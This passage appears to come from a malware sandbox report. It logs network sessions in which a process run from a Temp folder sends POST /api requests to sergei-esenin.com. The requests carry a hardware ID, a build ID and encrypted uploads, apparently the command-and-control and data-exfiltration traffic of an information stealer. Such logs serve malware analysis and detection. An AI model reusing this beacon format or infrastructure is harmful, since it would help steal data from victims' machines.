2024-10-18 13:04:48 UTC	831	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oc6q01e4mrjjemr94smfsu29ke; expires=Tue, 11 Feb 2025 06:51:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H6a4D69HFdJSwbt8eeM9FnO1iIwqS%2F0vUcbw%2Bag%2FG8ljXo6sHAA%2FrCGq0zm3oC96LKAkXNs7lz389VsHSz03uhbiIlSxfaqScY2PsJSSVPa5giq2R9xV7y8gtJ%2BA599UhwWO8w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc7acf084629-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:04:48 UTC	538	IN	Data Raw: 32 35 38 64 0d 0a 74 75 59 64 30 63 4b 52 65 6c 67 31 43 75 68 37 72 45 45 4f 66 45 54 7a 7a 77 35 6e 49 6c 77 6f 70 37 2b 37 41 6a 4f 53 78 33 62 4e 78 47 76 7a 2b 4b 56 57 65 6b 5a 76 79 6b 48 59 4d 33 73 5a 61 4e 47 75 61 6b 55 59 4f 6b 6e 4c 7a 4e 34 75 45 65 53 71 56 49 79 41 66 4c 32 78 39 46 5a 36 55 48 4c 4b 51 66 63 36 4c 42 6b 71 30 66 55 73 41 6b 67 2b 53 63 76 64 32 6d 6c 63 34 71 73 56 33 6f 70 36 75 61 66 79 48 6a 6c 5a 5a 34 30 65 79 53 42 6b 45 69 32 65 70 32 4e 46 44 6e 35 4e 33 5a 32 42 49 48 37 33 73 78 66 37 68 32 36 36 34 4f 78 57 49 78 64 76 68 6c 6d 57 59 32 38 5a 4a 70 2b 70 61 67 78 4b 4e 45 44 44 33 4e 39 6f 51 2f 75 68 48 74 36 45 65 62 69 74 2b 77 6f 30 55 32 43 47 47 4d 4d 67 4c 46 42 6d 6c 72 55 73 58 51 42 74 65 4d 62 4d 79 Data Ascii: 258dtuYd0cKRelg1Cuh7rEEOfETzzw5nIlwop7+7AjOSx3bNxGvz+KVWekZvykHYM3sZaNGuakUYOknLzN4uEeSqVIyAfL2x9FZ6UHLKQfc6LBkq0fUsAkg+Scvd2mlc4qsV3op6uafyHjlZZ40eySBkEi2ep2NFDn5N3Z2BIH73sxf7h2664OxWIxdvhlmWY28ZJp+pagxKNEDD3N9oQ/uhHt6Eebit+wo0U2CGGMMgLFBmlrUsXQBteMbMy
2024-10-18 13:04:48 UTC	1369	IN	Data Raw: 45 79 4b 58 6f 57 30 41 41 48 41 4b 77 73 57 5a 4f 42 48 65 6f 68 66 47 78 6b 71 77 72 76 30 66 4c 42 64 33 78 41 43 4f 4a 47 42 65 66 74 47 6a 61 51 70 53 50 31 6a 41 30 38 74 73 56 50 61 6f 46 39 71 45 65 72 53 74 2f 52 34 39 56 47 43 4f 47 4d 41 76 5a 68 30 69 6b 75 30 69 52 55 63 6d 43 70 32 64 36 47 4e 56 39 37 63 58 32 73 52 67 2f 62 6d 7a 48 7a 59 58 4d 4d 6f 54 79 43 35 6c 46 53 47 5a 6f 58 34 4f 54 7a 31 44 77 74 76 54 59 31 6e 36 6f 78 72 56 67 33 71 30 73 76 30 54 4e 31 52 69 6a 46 6d 41 59 32 73 47 5a 73 6e 74 51 67 5a 52 4b 48 6a 47 7a 4d 67 67 54 72 36 38 56 4e 4f 49 50 2b 76 67 2b 68 41 31 57 6d 57 41 46 38 73 75 5a 52 38 6e 6e 4b 74 6e 42 45 67 32 54 73 4c 64 33 57 31 65 2f 71 55 61 33 49 46 37 75 61 6d 7a 56 6e 70 51 63 4d 70 42 6a 68 4e Data Ascii: EyKXoW0AAHAKwsWZOBHeohfGxkqwrv0fLBd3xACOJGBeftGjaQpSP1jA08tsVPaoF9qEerSt/R49VGCOGMAvZh0iku0iRUcmCp2d6GNV97cX2sRg/bmzHzYXMMoTyC5lFSGZoX4OTz1DwtvTY1n6oxrVg3q0sv0TN1RijFmAY2sGZsntQgZRKHjGzMggTr68VNOIP+vg+hA1WmWAF8suZR8nnKtnBEg2TsLd3W1e/qUa3IF7uamzVnpQcMpBjhN
2024-10-18 13:04:48 UTC	1369	IN	Data Raw: 61 4a 6a 44 46 49 2f 52 73 76 50 33 6d 42 59 2f 71 6f 59 33 59 6c 34 76 71 76 35 46 54 35 51 61 63 70 58 6a 69 52 30 58 6e 37 52 6d 33 77 49 54 42 42 42 79 64 53 5a 66 78 2f 70 35 52 50 59 78 43 66 7a 70 50 38 51 4d 46 68 68 67 42 50 42 4b 6d 77 57 4c 35 69 75 62 41 6c 47 50 30 62 4a 30 4e 78 6a 56 50 32 67 46 4e 69 44 65 4c 4c 67 76 56 67 39 54 79 6a 53 57 66 34 75 59 42 55 71 30 35 68 76 43 30 34 35 58 49 58 43 6c 33 6b 52 39 36 6c 55 6a 4d 52 77 73 71 33 35 45 7a 52 62 61 59 6f 64 7a 53 6c 73 45 53 4f 58 70 57 55 46 55 6a 6c 46 78 4e 7a 53 61 31 7a 2b 6f 42 58 52 67 7a 2f 39 34 50 51 41 65 67 38 6f 70 7a 44 30 59 33 4e 51 50 39 47 71 59 45 55 59 66 6b 37 50 33 64 52 71 57 76 2b 6d 45 39 71 45 63 72 6d 79 2b 78 67 36 57 57 36 4c 46 63 73 69 59 42 30 30 Data Ascii: aJjDFI/RsvP3mBY/qoY3Yl4vqv5FT5QacpXjiR0Xn7Rm3wITBBBydSZfx/p5RPYxCfzpP8QMFhhgBPBKmwWL5iubAlGP0bJ0NxjVP2gFNiDeLLgvVg9TyjSWf4uYBUq05hvC045XIXCl3kR96lUjMRwsq35EzRbaYodzSlsESOXpWUFUjlFxNzSa1z+oBXRgz/94PQAeg8opzD0Y3NQP9GqYEUYfk7P3dRqWv+mE9qEcrmy+xg6WW6LFcsiYB00
2024-10-18 13:04:48 UTC	1369	IN	Data Raw: 6b 41 5a 67 72 45 7a 39 4e 71 58 2f 57 71 45 64 65 4c 65 4c 36 6d 2f 78 49 7a 58 32 36 46 45 4e 77 67 59 42 41 68 6e 36 46 69 43 45 6f 39 52 34 57 54 6d 57 64 4a 73 50 31 55 2b 49 4e 79 6e 61 76 2f 48 33 70 49 4a 70 4e 5a 79 53 38 73 52 6d 61 64 70 32 41 4d 51 44 64 50 7a 64 62 51 5a 56 44 37 6f 42 66 53 69 58 43 36 73 76 6b 62 4e 46 52 6b 68 68 2f 50 49 48 34 57 4c 39 48 6a 4c 41 4a 59 66 68 4b 46 2f 4e 64 74 52 66 65 31 56 4d 76 4b 5a 76 4f 6e 2f 31 68 69 46 32 75 4c 46 73 30 69 59 52 67 76 6d 61 31 71 41 45 38 7a 52 4d 4c 61 32 57 31 66 2f 36 4d 63 32 59 68 30 76 61 6e 31 47 44 74 64 4b 4d 52 5a 79 54 73 73 52 6d 61 68 72 6d 77 46 57 33 35 56 69 38 53 5a 5a 31 32 77 2f 56 54 47 6a 6e 61 7a 6f 2f 77 66 50 6c 78 6b 6a 78 7a 42 49 47 55 62 4c 35 2b 2f 5a Data Ascii: kAZgrEz9NqX/WqEdeLeL6m/xIzX26FENwgYBAhn6FiCEo9R4WTmWdJsP1U+INynav/H3pIJpNZyS8sRmadp2AMQDdPzdbQZVD7oBfSiXC6svkbNFRkhh/PIH4WL9HjLAJYfhKF/NdtRfe1VMvKZvOn/1hiF2uLFs0iYRgvma1qAE8zRMLa2W1f/6Mc2Yh0van1GDtdKMRZyTssRmahrmwFW35Vi8SZZ12w/VTGjnazo/wfPlxkjxzBIGUbL5+/Z
2024-10-18 13:04:48 UTC	1369	IN	Data Raw: 53 68 64 7a 56 62 31 4c 2f 70 68 66 56 6a 6d 32 68 72 50 6f 51 50 31 74 6a 68 42 2f 63 4a 57 4d 58 4a 5a 4b 6b 61 77 31 4d 4e 45 6e 43 6e 5a 63 67 56 75 6a 6c 54 4a 53 6e 61 4b 4f 74 73 77 64 30 54 69 69 4e 46 59 35 37 4c 42 59 72 6d 61 64 6f 41 6b 30 35 54 4d 7a 50 30 47 56 66 38 4b 45 66 32 34 4a 37 73 4b 44 68 48 6a 35 66 61 34 63 55 77 43 42 6f 58 6d 6a 52 71 6e 52 46 47 48 35 34 79 4e 50 43 62 31 62 68 72 31 54 4c 79 6d 62 7a 70 2f 39 59 59 68 64 73 68 41 76 46 49 6d 63 56 4b 4a 61 69 61 51 39 41 4d 55 37 47 30 39 4a 68 55 76 69 6f 47 64 71 4f 64 72 71 6e 2f 78 77 39 46 79 62 4b 48 74 5a 6a 4e 46 34 4e 73 49 42 41 41 6c 70 2b 56 59 76 45 6d 57 64 64 73 50 31 55 32 49 31 7a 75 61 76 30 45 6a 52 65 5a 6f 45 4c 33 43 42 6f 48 53 2b 53 71 6d 55 4c 51 44 Data Ascii: ShdzVb1L/phfVjm2hrPoQP1tjhB/cJWMXJZKkaw1MNEnCnZcgVujlTJSnaKOtswd0TiiNFY57LBYrmadoAk05TMzP0GVf8KEf24J7sKDhHj5fa4cUwCBoXmjRqnRFGH54yNPCb1bhr1TLymbzp/9YYhdshAvFImcVKJaiaQ9AMU7G09JhUvioGdqOdrqn/xw9FybKHtZjNF4NsIBAAlp+VYvEmWddsP1U2I1zuav0EjReZoEL3CBoHS+SqmULQD
2024-10-18 13:04:48 UTC	1369	IN	Data Raw: 6d 57 64 4a 73 50 31 55 2b 59 68 34 6d 71 66 6f 57 43 55 5a 63 63 6f 65 77 6d 4d 30 58 69 65 61 70 32 4d 49 51 7a 68 4a 7a 74 6a 54 59 56 62 34 71 41 62 58 69 33 43 33 6f 50 77 65 50 46 5a 6e 6a 42 37 48 49 6d 51 5a 5a 74 2f 74 61 78 30 41 5a 67 72 72 32 74 70 6b 45 65 2f 72 44 5a 53 44 63 2f 50 34 73 78 67 77 58 57 4b 45 47 63 6b 78 61 68 63 6d 6b 72 39 76 41 30 67 34 52 73 6e 51 30 57 6c 52 39 61 34 5a 33 34 6c 35 73 36 76 79 57 48 51 58 62 35 4a 5a 6c 6d 4e 64 45 79 69 56 6f 32 38 56 52 33 35 56 69 38 53 5a 5a 31 32 77 2f 56 54 62 6a 57 32 30 70 66 73 52 4f 6c 6c 68 67 78 37 4b 49 47 30 61 4b 70 36 6b 62 77 31 42 4e 6b 58 47 33 64 4a 6f 57 2f 47 72 45 5a 54 4b 50 37 53 34 73 30 42 36 65 47 75 50 45 73 39 68 53 78 67 68 6e 65 31 7a 53 31 6c 2b 54 63 6d Data Ascii: mWdJsP1U+Yh4mqfoWCUZccoewmM0Xieap2MIQzhJztjTYVb4qAbXi3C3oPwePFZnjB7HImQZZt/tax0AZgrr2tpkEe/rDZSDc/P4sxgwXWKEGckxahcmkr9vA0g4RsnQ0WlR9a4Z34l5s6vyWHQXb5JZlmNdEyiVo28VR35Vi8SZZ12w/VTbjW20pfsROllhgx7KIG0aKp6kbw1BNkXG3dJoW/GrEZTKP7S4s0B6eGuPEs9hSxghne1zS1l+Tcm
2024-10-18 13:04:48 UTC	1369	IN	Data Raw: 75 61 30 57 66 4f 65 63 72 57 33 34 6c 68 30 46 32 37 4b 51 5a 35 74 4c 42 6f 33 30 66 55 38 56 78 74 72 47 5a 4b 4e 69 33 38 66 36 65 55 43 6c 4e 77 74 2f 65 44 68 57 47 49 58 4c 34 6b 4c 33 43 56 76 43 43 58 57 6b 31 49 72 52 7a 68 50 77 73 32 62 54 6c 72 6b 6f 6c 53 61 78 48 44 7a 2b 4d 70 59 63 68 64 58 78 46 6e 57 59 7a 52 65 45 35 4b 6a 59 67 4a 57 4c 77 66 72 32 74 39 6c 56 75 44 6e 4f 74 2b 51 65 50 50 75 73 78 35 36 44 7a 6a 45 57 63 6f 79 4c 45 5a 32 77 2f 59 35 56 68 64 75 47 4e 71 54 77 43 42 48 73 50 31 47 6d 73 52 74 38 2f 69 7a 58 7a 6c 46 65 6f 77 61 32 43 41 72 49 42 69 53 75 32 45 4b 53 7a 39 30 2b 2f 50 55 59 56 4c 2b 35 79 58 43 69 57 2b 77 70 66 51 6d 42 46 6c 76 6e 68 37 41 4a 57 78 65 61 4e 47 69 4c 46 31 35 66 67 4b 46 34 70 63 67 Data Ascii: ua0WfOecrW34lh0F27KQZ5tLBo30fU8VxtrGZKNi38f6eUClNwt/eDhWGIXL4kL3CVvCCXWk1IrRzhPws2bTlrkolSaxHDz+MpYchdXxFnWYzReE5KjYgJWLwfr2t9lVuDnOt+QePPusx56DzjEWcoyLEZ2w/Y5VhduGNqTwCBHsP1GmsRt8/izXzlFeowa2CArIBiSu2EKSz90+/PUYVL+5yXCiW+wpfQmBFlvnh7AJWxeaNGiLF15fgKF4pcg
2024-10-18 13:04:48 UTC	869	IN	Data Raw: 47 48 30 79 2f 68 76 37 30 42 65 6b 45 6f 30 6b 75 41 59 33 35 65 66 74 48 71 62 78 64 53 4f 45 6e 54 33 70 35 65 62 39 65 72 45 39 57 53 62 37 36 73 30 68 73 72 58 56 61 30 44 4d 30 74 59 68 6b 77 67 4f 30 69 52 55 39 2b 45 76 79 64 6b 53 42 75 76 75 55 4d 6c 4e 77 2f 68 71 50 39 46 6a 31 42 65 63 63 2b 77 43 52 74 43 44 61 63 6f 55 30 47 55 54 51 4b 69 35 33 66 49 41 6d 69 36 31 54 51 6c 54 2f 72 38 4b 46 44 62 77 51 2f 32 6b 76 52 62 58 56 65 4d 4e 48 31 50 6b 73 41 4c 41 71 64 6e 5a 35 6a 51 2b 4b 6a 46 38 4b 48 4f 49 32 65 31 67 38 35 52 32 36 4a 4a 2f 41 49 59 42 67 68 69 36 70 71 49 32 42 2b 42 49 58 53 6d 54 68 6f 73 4f 31 55 36 38 6f 2f 71 2b 43 72 57 41 39 55 5a 6f 51 65 32 44 49 68 4f 7a 47 53 76 57 6f 47 41 48 41 4b 77 35 32 42 4d 42 2b 77 6f Data Ascii: GH0y/hv70BekEo0kuAY35eftHqbxdSOEnT3p5eb9erE9WSb76s0hsrXVa0DM0tYhkwgO0iRU9+EvydkSBuvuUMlNw/hqP9Fj1Becc+wCRtCDacoU0GUTQKi53fIAmi61TQlT/r8KFDbwQ/2kvRbXVeMNH1PksALAqdnZ5jQ+KjF8KHOI2e1g85R26JJ/AIYBghi6pqI2B+BIXSmThosO1U68o/q+CrWA9UZoQe2DIhOzGSvWoGAHAKw52BMB+wo
2024-10-18 13:04:48 UTC	1369	IN	Data Raw: 31 65 33 62 0d 0a 4a 78 5a 6c 6e 41 69 58 6a 54 52 39 53 78 43 54 6a 4e 4c 78 74 50 61 63 6b 50 32 70 67 4c 58 77 30 47 4e 68 66 34 56 50 31 6c 76 74 43 66 76 4b 58 77 54 4b 5a 62 76 54 41 4a 57 50 58 54 37 36 73 68 6e 51 62 4b 44 46 38 4b 48 50 2f 33 67 36 31 68 69 46 30 6d 41 43 63 4d 73 61 31 77 47 6c 72 74 76 52 51 35 2b 54 6f 57 46 6d 55 56 63 2f 61 41 61 30 38 5a 65 75 62 44 2b 46 7a 30 56 53 49 30 50 7a 57 4d 69 58 69 72 52 39 53 77 45 53 69 35 48 79 74 71 56 5a 30 76 33 35 56 71 55 69 6a 2f 72 34 50 49 53 4b 6c 70 6e 6a 56 58 49 4c 57 4a 65 4f 64 2b 30 4c 42 4d 41 5a 68 6d 4c 6e 63 73 67 43 62 44 69 46 38 61 57 65 62 43 32 38 46 38 45 61 55 57 59 48 74 34 67 4c 69 38 72 6c 62 74 35 42 6c 41 35 64 50 76 77 79 32 64 42 38 2b 63 6c 77 6f 64 2f 76 61 Data Ascii: 1e3bJxZlnAiXjTR9SxCTjNLxtPackP2pgLXw0GNhf4VP1lvtCfvKXwTKZbvTAJWPXT76shnQbKDF8KHP/3g61hiF0mACcMsa1wGlrtvRQ5+ToWFmUVc/aAa08ZeubD+Fz0VSI0PzWMiXirR9SwESi5HytqVZ0v35VqUij/r4PISKlpnjVXILWJeOd+0LBMAZhmLncsgCbDiF8aWebC28F8EaUWYHt4gLi8rlbt5BlA5dPvwy2dB8+clwod/va

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50029	104.21.53.8	443	6376	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:49 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: sergei-esenin.com
2024-10-18 13:04:49 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5922AD5B79C5B641376901981D28380B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-18 13:04:49 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-18 13:04:50 UTC	833	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dk5c0vm54f5220t84qukmo44jn; expires=Tue, 11 Feb 2025 06:51:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q3mC8kTBx0B0XWq4CFrt2SrMaYCqsFvynxC2kqpNo%2FJh%2B%2Fw6doVeG29IVAOwfKfbQn%2B3YPNmibqX13eni%2Bqoe0bqARGOmnWQwAyTExv3HDwWgbeNQFmRnrdE2fqc3rsMtn9C%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc8818dd463b-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:04:50 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-18 13:04:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50037	104.21.53.8	443	6376	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:51 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: sergei-esenin.com
2024-10-18 13:04:51 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5922AD5B79C5B641376901981D28380B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-18 13:04:51 UTC	835	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9h05cmk318bsl06ui4jec2fe8g; expires=Tue, 11 Feb 2025 06:51:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uze6uBXFUTZpMrePPQ%2FgKdVuHa4xQ6Y9k8YBeAP0S74aGdZIWEFmliYLG106tw%2BWxnrPDo%2B%2BiEbTAwtoqiVnu5Pr1u%2BA%2Bovwu9oovMvnSBgk%2BUF0FDrXTDscBL3jcFEJ9DND7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc919e986c1a-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:04:51 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-18 13:04:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50040	104.21.53.8	443	1168	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:52 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-18 13:04:52 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=5922AD5B79C5B641376901981D28380B
2024-10-18 13:04:53 UTC	827	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6tttjm0vbii8mgfk9m5km8b1oh; expires=Tue, 11 Feb 2025 06:51:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sYWlYaINie2W24g7V4AmEwmINKtghy3GVVSoKq9gMYTW8nTwi994zC7wmabmmIpAgwOrKJ8T%2FxVixULi1jH%2FwPvn0Pai%2F3fMO4I2AgiHJdp9p4NQA4Z398PYGzNSfGewHA30uQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc9a1cab2cd6-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:04:53 UTC	311	IN	Data Raw: 31 33 30 0d 0a 51 35 52 61 6c 62 66 74 59 42 30 4c 42 68 53 4f 48 6a 5a 70 6d 30 4f 51 46 6c 53 67 65 76 72 4e 4c 6e 68 53 4a 2f 77 67 4e 33 45 59 37 33 6a 67 6c 64 64 43 64 58 39 79 5a 4c 52 43 47 54 57 30 63 71 67 6a 65 70 4a 4c 7a 2b 4d 66 53 57 45 4a 7a 52 41 45 4c 57 7a 6e 4c 76 44 57 67 44 77 79 65 57 64 36 36 6e 46 62 52 2f 34 37 39 54 52 34 67 68 79 4f 37 78 52 49 66 67 57 5a 41 67 31 42 50 72 67 68 74 38 4c 50 57 6a 39 6a 63 6d 44 2b 4a 47 70 47 78 32 79 68 4c 6d 47 4f 53 4d 76 34 41 45 6c 6a 46 4e 49 52 42 30 49 66 75 7a 66 38 32 59 67 38 4d 6e 6c 6e 65 75 70 78 57 30 66 2b 4f 2f 55 30 65 49 49 63 6a 75 38 55 53 48 34 46 6d 51 49 4e 51 54 36 34 49 62 66 43 7a 31 6f 2f 59 33 4a 67 2f 69 52 71 52 73 64 73 6f 53 35 68 6a 6b 6a 4c 2b 41 42 4a 59 78 Data Ascii: 130Q5RalbftYB0LBhSOHjZpm0OQFlSgevrNLnhSJ/wgN3EY73jglddCdX9yZLRCGTW0cqgjepJLz+MfSWEJzRAELWznLvDWgDwyeWd66nFbR/479TR4ghyO7xRIfgWZAg1BPrght8LPWj9jcmD+JGpGx2yhLmGOSMv4AEljFNIRB0Ifuzf82Yg8MnlneupxW0f+O/U0eIIcju8USH4FmQINQT64IbfCz1o/Y3Jg/iRqRsdsoS5hjkjL+ABJYx
2024-10-18 13:04:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50041	104.21.53.8	443	6376	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
